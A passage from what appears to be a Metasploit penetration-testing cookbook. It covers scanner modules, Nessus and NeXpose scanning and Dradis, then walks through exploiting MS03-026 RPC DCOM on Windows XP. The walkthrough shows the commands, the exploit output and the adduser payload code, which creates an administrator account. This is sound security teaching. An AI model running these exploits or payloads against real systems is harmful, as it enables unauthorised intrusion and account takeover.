Metasploit that can help us perform a variety \nof tasks. They are different from exploits as they run on the pen-tester's machine and also \nit does not provide any shell. There are more than 350 different auxiliary modules present \nin the Metasploit framework, each having specific tasks. Here we will discuss the scanner \nauxiliary modules.\nGetting ready\nTo use any auxiliary modules, we will have to follow three simple steps in order to make our \nmodule ready to launch. Let us go through the three-step process.\n1.\t Activating the module: The use command is used to set the particular module active \nand ready to take commands.\n2.\t Setting specifications: The set command is used to set up the various parameters \nthat the module requires to execute.\n3.\t Running the module: After completing the first two steps, the run command is used \nto finally execute the module and generate the result.\n"
},
{
"page_number": 55,
"text": "Information Gathering and Scanning\n40\nTo view the available scanning modules in the Metasploit framework, we can browse to the \nfollowing location:\nroot@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner\nTo start using the modules we will have to launch our msfconsole session.\nHow to do it...\nLet us now practically implement these steps to run a port scanning auxiliary module.\nTo begin with, let us search for the port scanning modules available for us in the framework.\nmsf > search portscan \n \nMatching Modules \n================ \n \n Name Disclosure Date Rank\t\n Description \n ---- --------------- ----\t\n ----------- \n auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner \n auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner \n auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner \n auxiliary/scanner/portscan/tcp normal TCP Port Scanner \n auxiliary/scanner/portscan/xmas normal TCP \"XMas\" Port Scanner\nWe can see the list of available scanners. It contains some of the basic scan types that we \nhave discussed in the previous recipes. Let us start with a simple SYN scan to start with.\nHow it works...\nNow we will follow our three step process to start using the module. Let us start with the \nfirst step.\n1.\t To activate the module, we will execute the following command:\nmsf > use auxiliary/scanner/portscan/syn \nmsf auxiliary(syn) >\nWe will find that the prompt has changed to the module we want to use. \nThis indicates that the module is now active.\n2.\t Now let us see what parameters are required by the module. This will be done \nby using the show options command:\nmsf auxiliary(syn) > show options \n \nModule options (auxiliary/scanner/portscan/syn): \n \n Name Current Setting Required Description \n"
},
{
"page_number": 56,
"text": "Chapter 2\n41\n ---- --------------- -------- ----------- \n BATCHSIZE 256 yes number of hosts to scan per set \n INTERFACE no \t The name of the interface \n PORTS \t\n1-10000 yes \t Ports to scan \n RHOSTS yes target address range or CIDR \n SNAPLEN\t\n65535 yes \tThe number of bytes to capture \n THREADS\t\n1 yes \tThe number of concurrent threads \n TIMEOUT\t\n500 yes \tThe reply read timeout in \n milliseconds\nThe first column lists all the required parameters. The column named Required tells \nus which parameters are necessary to pass. It is necessary for all those parameters \nwhich are marked yes to contain a value. As we can see, all columns contain default \nvalues. RHOSTS contains the IP address range we want to scan. So let us set the \nRHOSTS parameter with our target IP address.\nmsf auxiliary(syn) > set RHOSTS 192.168.56.1 \nRHOSTS => 192.168.56.1\nNow our module is ready to perform a SYN scan on our target IP address. Using \nthe set command, we can also change the other values as well. For example, \nif we want to change the range of port numbers, then the following command \ncan solve our purpose:\nmsf auxiliary(syn) > set PORTS 1-500\n3.\t Finally, our last step will be to execute the module to perform its respective action:\nmsf auxiliary(syn) > run\nOn successful execution of the run command, the module will perform a SYN scanning and \nproduce results.\nThere's more...\nLet us understand the use of threads in the next section.\nManaging the threads\nSetting and managing the number of threads in auxiliary modules can greatly enhance the \nperformance of auxiliary modules. In case you have to scan an entire network or a range of \nIP addresses, then increasing the number of threads will make the scanning process faster.\nmsf auxiliary(syn) > set THREADS 10\n"
},
{
"page_number": 57,
"text": "Information Gathering and Scanning\n42\nTarget service scanning with auxiliary \nmodules\nLet us now try out some targeted scanning for specific services running on a range of IP \naddresses, or on a single target host. Various service-based scans are available; VNC, FTP, \nSMB, and so on. Auxiliary modules can be really handy in such situations when we are looking \nfor specific types of services on our target.\nGetting ready\nLet us find out what service-based scanning auxiliary modules are available to us. \nWe can navigate through the following path:\nroot@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner\nroot@bt:/pentest/exploits/framework3/modules/auxiliary/scanner# ls\n \nbackdoor emc \t\nip \tmysql\t pop3 \t\nsap ssh \tvnc \ndb2 \t\nfinger lotus \t\nnetbios portscan sip telephony \nvoice \ndcerpc \t\nftp \t\nmisc \tnfs \t postgres smb telnet \t\nvxworks \ndect \t\nhttp\t\nmotorola ntp \t\nrogue \t\nsmtp tftp \tx11 \ndiscovery imap\t\nmssql \toracle rservices snmp upnp\nAs we can see, there are lots of options for service scan modules which can be very handy \nduring penetration testing. Let us quickly work some of them.\nHow to do it...\nThe working of these service scanning modules is similar to using any other module. \nWe will follow the same three step process that we learned in the previous recipe.\nLet us work on the NetBIOS module. Scanning for NetBIOS can be beneficial in identifying \nthe Windows operating system. We will scan a range of networks this time to find out which \nmachine is running a NetBIOS service.\nmsf > use auxiliary/scanner/netbios/nbname \nmsf auxiliary(nbname) > show options \n \nModule options (auxiliary/scanner/netbios/nbname): \n \n Name \t\nCurrent Setting Required Description \n ---- \t\n--------------- -------- ----------- \n BATCHSIZE 256 \tyes \tThe number of hosts to probe \n CHOST \tno \tThe local client address \n"
},
{
"page_number": 58,
"text": "Chapter 2\n43\n RHOSTS \tyes \tThe target address range \n RPORT \t\n137 \tyes \tThe target port \n THREADS\t\n1 \tyes \tThe number of concurrent threads \n \nmsf auxiliary(nbname) > set RHOSTS 192.168.56.1/24 \nRHOSTS => 192.168.56.1/24 \nmsf auxiliary(nbname) > set THREADS 10 \nTHREADS => 10\nRHOSTS is now set to scan the entire range of IP addresses and the number of threads is also \nset to ten. Let us now run this module and analyze the result.\nmsf auxiliary(nbname) > run\n[*] Sending NetBIOS status requests to 192.168.56.0->192.168.56.255 (256 \nhosts)\n \n[*] 192.168.56.1 [DARKLORD-PC] OS:Windows Names:(DARKLORD-PC, WORKGROUP, \n__MSBROWSE__) Addresses:(192.168.56.1) Mac:08:00:27:00:a8:a3\n \n[*] 192.168.56.103 [SP3] OS:Windows Names:(SP3, WORKGROUP) \nAddresses:(10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35\n \n[*] 192.168.56.102 [ABHINAV-5C02603] OS:Windows Names:(ABHINAV-5C02603, \nWORKGROUP) Addresses:(10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87\n \n[*] Scanned 256 of 256 hosts (100% complete)\nThe network has three machines running on the scanned network that are using NetBIOS. \nThe scan has also reported their respective MAC addresses.\nLet us perform another service scan. This time we will try to locate which machines are \nrunning the MySQL database server. Also, we will try to find out the version of the server.\nmsf > use auxiliary/scanner/mysql/mysql_version\n \nmsf auxiliary(mysql_version) > show options \n \nModule options (auxiliary/scanner/mysql/mysql_version): \n \n Name \t\nCurrent Setting Required Description \n ---- \t\n--------------- -------- ----------- \n RHOSTS \t\nyes \tThe target address range \n RPORT\t\n 3306 \t\nyes \tThe target port \n THREADS 1 \tyes \tThe number of concurrent threads \n \nmsf auxiliary(mysql_version) > set RHOSTS 192.168.56.1/24 \n"
},
{
"page_number": 59,
"text": "Information Gathering and Scanning\n44\nRHOSTS => 192.168.56.1/24\n \nmsf auxiliary(mysql_version) > set THREADS 10 \nTHREADS => 10\n \nmsf auxiliary(mysql_version) > run \n \n \n[*] 192.168.56.102:3306 is running MySQL, but responds with an error: \\\nx04Host '192.168.56.101' is not allowed to connect to this MySQL server\nThe scanning process has detected that the IP address 192.168.56.102 is running a MySQL \nserver, but unfortunately, it couldn't connect with the server. This is another demonstration \nof how easy and handy auxiliary modules are, and they can provide us with lots of useful \ninformation as well.\nIt is recommended that one should try out all the auxiliary scanner modules available as they \ncan help you in better understanding your target.\nHow it works...\nAuxiliary modules are special purpose modules that are built to perform a particular task. \nThere can be situations when you have to perform only a particular type of scan to discover \nservices. For example, the MySQL auxiliary scanner detects the presence of the database by \npinging the default port number (3306). It further checks if the default login is enabled on the \ndatabase or not. You can analyze the script at /modules/auxiliary/scanner. You can \nextend the code according to your need, or even re-use the script to build your own specific \nauxiliary scanner.\nVulnerability scanning with Nessus\nSo far, we have learned the basics of port scanning, along with the practical implementation \nwith Nmap. Port scanning has been extended to several other tools which further enhance the \nprocess of scanning and information gathering. In the next few recipes, we will cover those \ntools which scan the target for available services and open ports and then tries to determine \nthe type of vulnerability that may exist for that particular service or port. Let us begin our \njourney to vulnerability scanning.\nNessus is one of the most widely used vulnerability scanners. It scans the target for a range \nof vulnerabilities and produces a detailed report for it. Nessus is a very helpful tool during \npenetration testing. Either you can use the GUI version of Nessus, or you can also use it from \nthe Metasploit console. In this book, we will primarily focus on using Nessus with msfconsole.\n"
},
{
"page_number": 60,
"text": "Chapter 2\n45\nGetting ready\nTo start working with Nessus in msfconsole, we will have to load Nessus and then connect \nit with the server to start our penetration testing.\nFirst, we will connect our database with Metasploit so as to store the interim results. The \nprocess of starting and connecting the database in Metasploit has been explained in the \nprevious chapter. After connecting the database, our next task is to load the Nessus plugin.\nHow to do it...\n1.\t To connect the database and load Nessus in Metasploit, we will execute the \nfollowing command:\nmsf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3 \nmsf > load nessus\n[*] Nessus Bridge for Nessus 4.2.x\n[+] Type nessus_help for a command listing\n[*] Successfully loaded plugin: nessus\n2.\t After successfully loading it, we will have to connect it with the server. The following \ncommand is used to connect it with the server manner: \nmsf > nessus_connect root:toor@localhost ok\n[*] Connecting to https://127.0.0.1:8834/ as root\n[*] Authenticated\nIn the preceding command ok is an extra parameter that is passed to ensure \nthe Nessus server is running on a trusted network.\nWe can check for the list of available users in Nessus by using the \nnessus_user_list command.\nA new user can also be added by using the command nessus_user_add. By using the \ncommand nessus_policy_list, we can view the list of available policies on the server.\n"
},
{
"page_number": 61,
"text": "Information Gathering and Scanning\n46\nHow it works...\nOnce Nessus is connected with the server, it can be used for scanning target machines. The \nprocess of scanning is simple and quick. Let us perform a quick scan on a target to see how \nNessus scanning operates. To start the scan, we will have to pass the following command:\nmsf > nessus_scan_new 1 testscan 192.168.56.102\n[*] Creating scan from policy number 1, called \"testscan\" and scanning \n192.168.56.102\n[*] Scan started. uid is 9d337e9b-82c7-89a1-a194-\n4ef154b82f624de2444e6ad18a1f\nOnce the scanning process is complete, our next target will be to import the list generated \nby Nessus. Let us check out the available list:\nmsf > nessus_report_list\n[+] Nessus Report List\nID Name Status \n ---- ------ \n9d337e9b-82c7-\n89a1-a19-4ef154b82 testscan completed\nf624de2444e6ad18a1f \nThe ID column represents the report that has been generated as a result of our scan. \nLet us import this report now.\nmsf > nessus_report_get 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18\na1f\n[*] importing 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f\nOnce the report has been imported, it can now be operated by using the console commands \nand can be analyzed to find out the weaknesses in the target. To view the vulnerabilities in the \ntarget, execute the following command: \nmsf> hosts –c address, vuls, os_name\nThere's more...\nLet us look through a quick guide to working with Nessus in GUI mode.\n"
},
{
"page_number": 62,
"text": "Chapter 2\n47\nWorking with Nessus in the web browser\nNessus can also be used from its GUI mode which is also as powerful and easy to use as \nthe console mode. If you are using Nessus for the first time, then first you will have to register \nyourself and get a registration code from the Nessus website. Registration can be done at the \nfollowing link:\nhttp://www.nessus.org/register/\nOnce the registration is complete, we will have to start Nessus and add the registration code. \nGo to Applications | BackTrack | Vulnerability Assessment | Network Assessment | \nVulnerability Scanner | nessus start.\nOn starting Nessus, you might be prompted with the following error message:\nStarting Nessus : . \nMissing plugins. Attempting a plugin update... \nYour installation is missing plugins. Please register and try again. \nTo register, please visit http://www.nessus.org/register/\nThe error is because Nessus is not yet registered. In order to register, we will have to use the \nregistration code that we received through an e-mail from Nessus. The following command will \nhelp us complete the registration process:\n/opt/nessus/bin/nessus-fetch –register YOUR REGISTRATIN CODE\n \nroot@bt:~# /opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB-\n972A\n \nYour activation code has been registered properly - thank you. \nNow fetching the newest plugin set from plugins.nessus.org... \nYour Nessus installation is now up-to-date. \nIf auto_update is set to 'yes' in nessusd.conf, Nessus will \nupdate the plugins by itself.\nNow launch the browser and type the following address:\nhttps://localhost:8834\nIf you are launching Nessus in the browser for the first time, then it will take some time \nto load. So be patient.\nScanning with NeXpose\nIn the previous recipe, we discussed Nessus as a potential vulnerability scanner. \nIn this recipe, we will cover another important vulnerability scanner NeXpose.\n"
},
{
"page_number": 63,
"text": "Information Gathering and Scanning\n48\nNeXpose is a popular tool by Rapid7 which performs the task of vulnerability scanning and \nimporting results to the Metasploit database. The usage of NeXpose is similar to Nessus \nwhich we learned in the previous recipe, but let's have a quick overlook of how to get started \nwith NeXpose. I will leave the task of exploring it deeper as an assignment for you.\nGetting ready\nTo start the NeXpose from the msf console, we will first have to connect the database \nto Metasploit, and then load the plugin to connect it with the NeXpose server to start \nthe process of target scanning. Let us execute these steps in the command line.\nmsf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3 \nmsf > load nexpose\nmsf > nexpose_connect darklord:toor@localhost ok\n[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username \ndarklord...\nHow to do it...\nNow that we are connected with our server, we can scan our target and generate reports. \nThere are two scan commands supported by NeXpose. One is nexpose_scan and the other \nis nexpose_discover. The former will scan a range of IP addresses and import the results, \nwhereas the latter will scan only to discover hosts and services running on them. Let us \nperform a quick scan on our target using NeXpose.\nmsf > nexpose_discover 192.168.56.102\n[*] Scanning 1 addresses with template aggressive-discovery in sets of 32\n[*] Completed the scan of 1 addresses\nHow it works...\nOnce the scan is complete, we can view its results by using the default database commands \nof the msf console.\nLet us see what scan results have been produced by NeXpose:\nmsf > hosts -c address,os_name,os_flavor\n"
},
{
"page_number": 64,
"text": "Chapter 2\n49\nHosts\n=====\naddress os_name os_flavor\n------- ------- ---------\n192.168.56.102 Microsoft Windows XP\nmsf >\nThere's more...\nAfter the information has been collected, the final step will be importing the results. Let us see \nhow it is executed.\nImporting the scan results\nYou can skip this information if you have used Nessus and NeXpose from msfconsole.\nWhen you are using the GUI version of either Nessus or NeXpose, you will have to manually \nimport the scan results to the database. The reason why I am laying stress on importing and \nstoring results is that in our next chapter we will see how we can use the autopwn command \nto automatically run exploits on hosts present in our database. So, in order to import the scan \nresults, we will use the db_import command as follows: db_import filename\nmsf > db_import nexposelist.xml\n[*] Importing 'Nexpose XML (v2)' data\n[*] Importing host 192.168.56.102\n[*] Successfully imported /root/nexposelist.xml\nSharing information with the Dradis \nframework\nIn our previous recipes, we learned several techniques for gaining information about our \ntarget. While performing penetration tests, we may need to share information with other \npen-testers which may be located at other physical locations. In that case, sharing the \npenetration testing information can be made easier by using the Dradis framework. \nIt is an open source framework for sharing information during security assessments. \nIt has several features which makes it an excellent information-sharing tool. Some \nof them are:\nf\nf\nCommunicating over SSL\nf\nf\nAttachment of files and notes\n"
},
{
"page_number": 65,
"text": "Information Gathering and Scanning\n50\nf\nf\nImport scan results from Nessus, NeXpose, and so on\nf\nf\nCan be extended to connect with external systems like a vulnerability database\nAlthough it will not help us in gaining any information about the target, the tool is important \nfor all security professionals in sharing pen-test results and findings.\nGetting ready\nTo launch the Dradis framework in BackTrack, we will have to execute the following command \nat the terminal:\nroot@bt:~# cd /pentest/misc/dradis\nroot@bt:/pentest/misc/dradis# ./start.sh\nOnce the command is executed successfully, we can launch the framework from our browser \nby passing the following address:\nhttps://127.0.0.1:3004\nWe will be prompted to set up a password and account for the framework.\n"
},
{
"page_number": 66,
"text": "Chapter 2\n51\nHow to do it...\nLet us start our experiment with Dradis. The framework enables us to build up a tree like \nstructure for the domain and sub-domain addresses. This gives us a clear view of the target \nstructure and helps us in storing information logically. It also provides features to generate \na complete report of the information in a systematic manner. \nThere are five important options that the framework provides us with. They are add branch, \nimport from file, export, add note, and note categories. \nOnce you have logged in with your credentials, then you will be presented with a screen \nsimilar to the one shown in the preceding screenshot. You can locate the five options on \nthe left corner of the framework. Let us see what these options do for us.\nHow it works...\nLet us start with creating a new report. The process is simple and starts with adding hosts \nand sub-hosts.\nThe add branch option enables us to add a new IP or domain name. Once a top-level domain \nis added, we can further add its child to include sub-domains as well. Now the next task is to \nadd information about them.\nThe add note option enables us to add information that we have collected from various scan \nresults. For example, we can add scan results from Nmap, Nessus, and so on.\n"
},
{
"page_number": 67,
"text": "Information Gathering and Scanning\n52\nThe note categories option helps us in selecting the medium we used for obtaining the \ninformation. The various options include Brup scan, Nessus scan, NeXpose, Nmap, and \nso on. You can choose the appropriate option that you used to generate the scan results.\nThe following screenshot shows information about the Nmap scan performed on a range of \nIP addresses 192.168.56.1/24. The left-side tree structure contains information about the \ntargets available and the right column provides reports about it. \nThe next thing that we can do with the Dradis framework is to import an existing report \nor export a created report.\nThe Import from file option provides us with the flexibility to import previously scanned results \nfrom different scanners. This further increases the power of this framework, as different testers \ncan import the results into the framework and combine them to produce a single report.\nThe export option provides professional penetration testers an option to generate a complete \nreport of various domains and sub-domains into a single file. The report can be exported \neither in an XML or in an HTML format. It can also be exported in the form of a project or \ncustom template. \n"
},
{
"page_number": 68,
"text": "3\nOperating System-\nbased Vulnerability \nAssessment and \nExploitation\nIn this chapter, we will cover:\nf\nf\nExploit usage quick tips\nf\nf\nPenetration testing on a Windows XP SP2 machine\nf\nf\nBinding a shell to the target for remote access\nf\nf\nPenetration testing on the Windows 2003 Server\nf\nf\nWindows 7/Server 2008 R2 SMB client infinite loop\nf\nf\nExploiting a Linux (Ubuntu) machine\nf\nf\nUnderstanding the Windows DLL injection flaws\nIntroduction\nIn the previous chapter, we focused on gathering information about our target. Various \ninformation included the target IP address, open ports, available services, operating system, \nand so on. One of the biggest assets in the process of information gathering is gaining \nknowledge about the operating system used by the target server or system. This information \ncan prove to be very helpful in penetrating the target machine as we can quickly look for \nexploits and vulnerabilities of the operating system in use. Well, the process is not as \nstraightforward as it sounds, but knowledge about the target operating system can ease our \ntask to much extent.\n"
},
{
"page_number": 69,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nEvery flavor of operating system has some or other bug in it. Once it gets reported, the \nprocess of developing exploits for it starts. Licensed operating systems such as Windows \nquickly develop patches for the bug or vulnerability and provide it as an update to its users. \nVulnerability disclosure is a big issue these days. Many zero day disclosures create havoc in \nthe computer industry. Zero day vulnerabilities are highly sought after and in underground \nmarkets, the price may range from 50 K USD to 100 K USD. Vulnerabilities are detected and \nexploited but the disclosure of vulnerability depends on the researcher and their intention.\nWell known products such as Microsoft and Adobe issue patches at regular intervals but it's \nup to the user to apply them. In Corporate scenarios, this gets even worse—it takes weeks \nbefore servers are being patched because of the downtime involved and to ensure business \ncontinuity is not hampered. So, it is always recommended to update or keep an eye on any \nlatest vulnerability discovered in your operating system in use. Unpatched systems are a safe \nhaven for hackers, as they immediately launch exploits to compromise the target. Hence, \nregular patching and updating the operating systems is essential. In this chapter, we will \nfocus on vulnerabilities that are reported in some of the most popular operating systems.\nIn the process of penetration testing, once the information about the target operating \nsystem is available, the pen-testers start looking for available exploits for the particular \noperating system flaws. So, this chapter will be the first step towards penetrating our target \nthrough vulnerabilities in the operating system. We will focus on some of the most widely used \nhome- and enterprise-based operating systems of Microsoft and some flavors of Linux. We will \nalso look at how to use exploits and set up its parameters to make it executable on the target \nmachine. Last, but not least, we will discuss some of the useful payloads available to us in the \nMetasploit framework. So let us start with the recipes.\nExploit usage quick tips\nBefore starting to use exploits and payload on target machines, we will first have to know \nsome basics about them. It is very essential to understand the usage of exploits so that you \ncan overcome some common errors that may arise due to misconfiguration of parameters. \nSo, let us begin with some basics of using exploits and how to set parameter values.\nGetting ready\nIn order to start using exploits on your target, the first thing required is to scan the target for \nopen ports and services. Once you have gathered enough information about the target, the \nnext step is to select exploits accordingly. So let us analyze some of the exploit commands \nthat can be launched directly from msfconsole.\n"
},
{
"page_number": 70,
"text": "Chapter 3\n55\nHow to do it...\nHere is a list of commands that will be helpful during exploit usage:\nf\nf\nmsf > show exploits and msf > show payloads: These two commands \nwill display all the available exploits and payloads in the Metasploit directory.\nf\nf\nmsf > search exploit: This command will search for a particular exploit. \nWe can also use this command to search for any specific search terms. \nThe command should be passed in the following manner:\nmsf > search exploit-name or search-term\nFor example, consider the following command:\nmsf > search ms03_026_dcom\nMatching Modules\n================\n Name Disclosure Date Rank \nDescription\n ---- --------------- ---- ---------\n--\nexploit/windows/\ndcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC \nDCOM \nf\nf\nmsf > use exploit: This command is used to set any exploit as active and ready \nto use. The command is passed in the following manner:\nmsf > use exploit name\nAfter executing this command, the prompt also changes to the exploit type:\nmsf > use exploit/windows/dcerpc/ms03_026_dcom\nmsf exploit(ms03_026_dcom) >\nf\nf\nshow options: This command is used to see the available options or parameters \nof the exploit in use. The various parameters include the host IP, port, threads, and \nso on. The parameters marked yes must have a value in order to execute the exploit.\nmsf exploit(ms03_026_dcom) > show options\nModule options (exploit/windows/dcerpc/ms03_026_dcom):\n Name Current Setting Required Description\n"
},
{
"page_number": 71,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 135 yes The target port\nf\nf\nset: This command is used to set a value to a parameter in the exploit under use. \nIt is used to set up a payload for a particular exploit in use. The command can be \npassed in the following manner:\nmsf > set parameter-name parameter-value\nSimilarly, we can use the unset command as well:\nmsf exploit(ms03_026_dcom) > set RHOST 102.168.56.102\nRHOST => 102.168.56.102\nmsf exploit(ms03_026_dcom) >\nThere are optional commands named setg and unsetg. These commands are used \nwhen we have to globally set a parameter value in msfconsole. It, thus, saves us \nfrom re-entering the same value.\nf\nf\nshow targets: Every exploit is made to attack a particular target service. \nThis command displays the information on what possible targets can \nthe exploit be used:\nmsf exploit(ms03_026_dcom) > show targets\nExploit targets:\n Id Name\n -- ----\n 0 Windows NT SP3-6a/2000/XP/2003 Universal\nHere we can see that the dcom exploit is available for several flavors of the Windows machine.\nHow it works...\nIn Chapter 1, Metasploit Quick Tips for Security Professionals, we have discussed that the \nentire Metasploit framework has a modular architecture. Different exploits are converted \ninto a framework-understandable module which can function in accordance with it. Different \ncommands are called to load and set up the modules. The command-line interface of \nmsfconsole makes it easy to access different modules and perform penetration testing.\n"
},
{
"page_number": 72,
"text": "Chapter 3\n55\nPenetration testing on a Windows XP SP2 \nmachine\nLet us now get our hands into the world of exploits. To start with, we will work on the most \nprimary, yet most widely used, operating system, Windows XP. In this recipe, we will see how \nwe can use Metasploit to break into our target system which is running on the Windows XP \nmachine. We will be using the commands we learnt in the previous recipe and then move \nahead to select exploits and payloads, and set up various required parameters.\nGetting ready\nWe will start our penetration testing process right from msfconsole. So, launch the \nconsole and perform a port scan to gather information about the target. We have discussed \nport scanning in detail in the previous chapter. Here, I will assume that you have gathered \ninformation about the target and it is running a Windows XP operating system. So let us \nproceed with selecting exploits and payloads. \nHow to do it...\nTo perform penetration testing on a Windows XP SP2 machine, follow these steps:\n1.\t The primary goal will be to select an exploit that can be used on a Windows XP \nmachine. You can browse to the /exploits/windows directory or simply make a \nsearch for a list of available exploits for the Windows XP platform. We will be using \nRPC dcom vulnerability to penetrate our target. So let us first search for the RPC \ndcom vulnerability, using the following command:\nmsf exploit(ms03_026_dcom) > search dcom\nMatching Modules\n================\n Name Disclosure Date Rank Description\n ---- --------------- --- -----------\n exploit/windows\ndcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC \nxploit/windows/\ndriver/\n"
},
{
"page_number": 73,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\nbroadcom_wifi_ssid 2006-11-11 low Broadcom Wireless \nxploit/windows/\nsmb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE \nAs we can see, the search has produced three results. We will be working on the first \nexploit as its rank is listed as great so it will have a better success rate.\n2.\t In order to set exploit/windows/dcerpc/ms03_026_dcom as the usable exploit, \nwe will execute the following command:\nmsf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_\ndcom \nmsf exploit(ms03_026_dcom) >\nThe change in the prompt symbolizes that the command is executed successfully.\n3.\t The next step will be to set up the various parameters of the exploit. The show \noptions command will list the available parameters in the exploit. Then, by using \nthe set command, we can set up the various parameters. Some parameters will \nhave default values as well: \nmsf exploit(ms03_026_dcom) > show options\nModule options (exploit/windows/dcerpc/ms03_026_dcom):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 135 yes The target port\nExploit target:\n Id Name\n -- ----\n 0 Windows NT SP3-6a/2000/XP/2003 Universal\nHere RHOST denotes the IP address of the remote host and RPORT denotes the \ndefault bind port. The value or RPORT has been set to 135 by default. We will have \nto set the value of RHOST to our target IP address in order to execute the exploit:\nmsf exploit(ms03_026_dcom) > set RHOST 192.168.56.102\n"
},
{
"page_number": 74,
"text": "Chapter 3\n55\nRHOST => 192.168.56.102\nmsf exploit(ms03_026_dcom) >\nNote that the ms03_026_dcom exploit has the ID set to 0. This means \nthat we do not need to specify which Windows machine is running on the \ntarget. It can exploit any of the Windows machines listed in it. For any other \nexploit, we may have to select the target operating system by using the \nshow targets command.\nNow the value of RHOST has been set to our target IP address. If we try to run the \nexploit then we will get an error message. The reason is we have not yet selected any \npayload for the exploit. \n4.\t Our next step will be to choose a relevant payload. We can use the command show \npayloads to list all the available payloads. We will start with a simple example of \nthe windows/adduser payload. This payload will add a new user in the target's \noperating system:\nmsf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser \nPAYLOAD => windows/adduser\n5.\t Now, if we again use the show options command then it will list the parameters for \nboth the exploit, as well as the payload. The payload parameters will look something \nlike this:\nPayload options (windows/adduser):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC thread yes seh, thread, process, \nnone\n PASS metasploit yes password for this user\n USER metasploit yes The username to create\nWe can see the default username and password that will be added to our target \noperating system is metasploit and metasploit. We can change these values \nby using the set PASS and set USER commands.\n6.\t Now that our payload is set, we are ready to penetrate the target machine. \nWe will use the following command to launch the exploit:\nmsf exploit(ms03_026_dcom) > exploit\n[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...\n"
},
{
"page_number": 75,
"text": "Operating System-based Vulnerability Assessment and Exploitation\n54\n[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_\ntcp:192.168.56.102[135] ...\n[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_\ntcp:192.168.56.102[135] ...\n[*] Sending exploit ...\n[*] Exploit completed, but no session was created.\nThe last line of the output shows that the exploit was completed successfully on \nthe target machine. Now there will be a new user added in the target machine. The \noutput also says that no session was created. This is because the payload we used \nwas a simple adduser that doesn't need any active session. Hence, once the exploit \ncompletes, the connection with the target is ended. In the next recipe, we will use the \npayload to set up a session.\nHow it works...\nThere is vulnerability in the part of RPC that deals with the message exchange over TCP/\nIP. The failure results because of incorrect handling of malformed messages. This particular \nvulnerability affects a Distributed Component Object Model (DCOM) interface with RPC, \nwhich listens on RPC enabled ports. So, the target machine must have an available port \nrunning an RPC service.\nThis interface handles the DCOM object activation requests that are sent by client machines \nto the server. An attacker who successfully exploited this vulnerability would be able to run the \ncode with local system privileges on an affected system. The attacker would be able to take \nany action on the system. This includes installing programs, viewing/changing/deleting data, \nor creating new accounts with full privileges.\nFor more details on this vulnerability, you can visit the following link to Microsoft \nSecurity Bulletin:\nhttp://technet.microsoft.com/en-us/security/bulletin/ms03-026\nNow in order to understand the working of the adduser payload, we will analyze the ruby \ncode for the payload. Let us browse to the payload location:\nroot@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/\nwindows\nroot@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# \nless adduser.rb\nThe following part of the code that is of interest for us:\n# Register command execution options\n register_options(\n"
},
{
"page_number": 76,
"text": "Chapter 3\n55\n [\n OptString.new('USER', [ true, \"The \nusername to create\", \"metasploit\" ]),\n OptString.new('PASS', [ true, \"The \npassword for this user\", \"metasploit\" ]),\n ], self.class)\n # Hide the CMD option\n deregister_options('CMD')\n end\n #\n # Override the exec command string\n #\n def command_string\n user = datastore['USER'] || 'metasploit'\n pass = datastore['PASS'] || ''\n if(pass.length > 14)\n raise ArgumentError, \"Password for the adduser \npayload must be 14 characters or less\"\n end\n return \"cmd.exe /c net user #{user} #{pass} /ADD && \" \n+\n \"net localgroup Administrators #{user} /ADD\"\n end\nYou can understand the code through the comments added with the # symbol. The code is \nsimple and self-explanatory. It first registers values for the username and password. Then it \ngoes on to hide the CMD function from appearing on the target screen while the payload gets \nexecuted. Then, the code overrides the windows/exec payload to pass the parameter values \nand launch a stealth command prompt to execute in the background.\nYou can play with the code and make your own changes. This will help you dig deeper into the \nworld of payloads.\nBinding a shell to the target for \nremote access\nIn the previous recipe, we analyzed how to exploit a Windows SP2 machine and add a new \nuser account. But the connection was terminated immediately after the execution of exploit. \nIn this recipe, we will move a step ahead and bind a shell to the target so that we can set up \na remote connectivity with the target and gain control over it. The process is similar to the one \nmentioned in the previous recipe. All we have to do is use a different payload that can start a \nshell for us on the target machine.\n"
},
{
"page_number": 77,
